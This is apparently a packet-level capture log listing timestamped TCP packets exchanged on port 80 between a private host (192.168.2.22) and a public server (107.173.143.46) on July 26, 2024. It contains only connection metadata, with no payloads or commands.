Jul 26, 2024 09:30:08.571572065 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571592093 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571845055 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571856976 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571867943 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571880102 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571887016 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571891069 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.571908951 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.571926117 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658068895 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658103943 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658126116 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658138990 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658152103 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658158064 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658165932 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658179045 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658186913 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658188105 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658188105 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658209085 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658221006 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658221006 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658235073 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658236027 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658252001 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658253908 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658265114 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658268929 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658277035 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658284903 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658288956 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658301115 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658303022 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658313036 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658324003 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658329964 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658334970 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658345938 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658354998 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658359051 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658368111 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658370972 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658380985 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658381939 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658395052 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658395052 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658411026 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658425093 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658437014 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658449888 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658461094 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658471107 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658478975 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658488035 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658492088 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658503056 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658513069 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658514023 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658524990 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658524990 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658535957 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658550978 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658555984 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658565044 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658567905 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658580065 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658586979 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658591986 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658601046 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658616066 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658622980 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658628941 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658633947 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658644915 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658653975 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658667088 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658680916 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658716917 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658727884 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658737898 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658747911 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658749104 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658762932 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658762932 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658773899 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658778906 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658795118 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658798933 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658811092 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658821106 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658832073 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658833027 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658845901 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658848047 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658859015 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658859968 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658869982 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658874035 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658889055 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658902884 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658935070 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658946037 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658956051 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658966064 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.658971071 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.658983946 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659004927 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659004927 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659028053 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659038067 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659049034 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659059048 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659061909 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659070015 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659080029 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659092903 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659132004 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659147978 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659157038 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659167051 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659168959 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659178019 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659183025 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659188986 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659197092 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659212112 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659239054 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659250021 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659260988 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659270048 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659274101 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659286976 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659301043 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659347057 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659358025 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659368992 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659380913 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659380913 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659396887 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659410000 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659411907 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659423113 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659434080 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659446001 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659463882 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659543991 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659554958 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659565926 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659576893 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659579992 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659589052 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659593105 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659600019 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659607887 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659621954 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659635067 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659670115 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659681082 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659691095 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659702063 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659703016 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659718990 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659720898 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659732103 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659733057 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659744024 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659749031 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659761906 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659763098 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659775019 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659778118 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659786940 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659795046 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659799099 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659809113 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659810066 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659823895 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659837008 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659837961 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659849882 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.659873962 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659884930 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.659941912 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.660032034 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660069942 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660073996 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.660080910 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660103083 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.660119057 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.660156965 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660167933 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660180092 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660197973 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660200119 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.660209894 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.660226107 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.660260916 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660271883 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660283089 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660294056 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660301924 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.660305023 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660315990 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.660315990 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660326958 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660331964 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.660339117 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660346031 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.660358906 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.660372972 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.660510063 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660527945 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660538912 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660552025 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660552979 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.660559893 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660567045 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.660571098 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.660578966 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.660595894 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747283936 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747313023 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747325897 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747339964 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747350931 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747363091 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747370005 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747394085 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747402906 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747405052 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747417927 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747427940 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747433901 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747433901 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747452974 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747452974 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747459888 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747463942 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747476101 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747484922 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747487068 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747498989 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747504950 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747522116 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747522116 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747524023 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747535944 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747546911 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747553110 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747553110 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747558117 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747569084 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747581959 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747586012 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747601032 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747620106 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747654915 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747665882 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747677088 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747689009 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747692108 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747699976 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747704029 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747715950 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747750044 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747750044 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747754097 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747761011 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747771978 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747777939 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747792006 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747802973 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747813940 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747860909 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747868061 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747869015 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747880936 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747893095 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747904062 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747908115 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747910023 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747917891 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.747929096 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747936964 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747952938 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747966051 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.747997046 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748003006 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748016119 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748028994 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748042107 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748049974 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748054028 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748065948 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748078108 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748083115 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748085022 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748111963 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748133898 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748152971 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748166084 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748178005 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748220921 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748225927 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748238087 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748250008 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748255014 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748261929 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748267889 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748282909 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748287916 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748303890 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748315096 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748339891 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748352051 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748363972 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748374939 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748374939 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748375893 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748389006 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748389006 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748394012 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748404980 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748419046 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748425007 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748605967 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748616934 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748624086 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748651028 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748663902 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748682022 CEST	80	49167	107.173.143.46	192.168.2.22
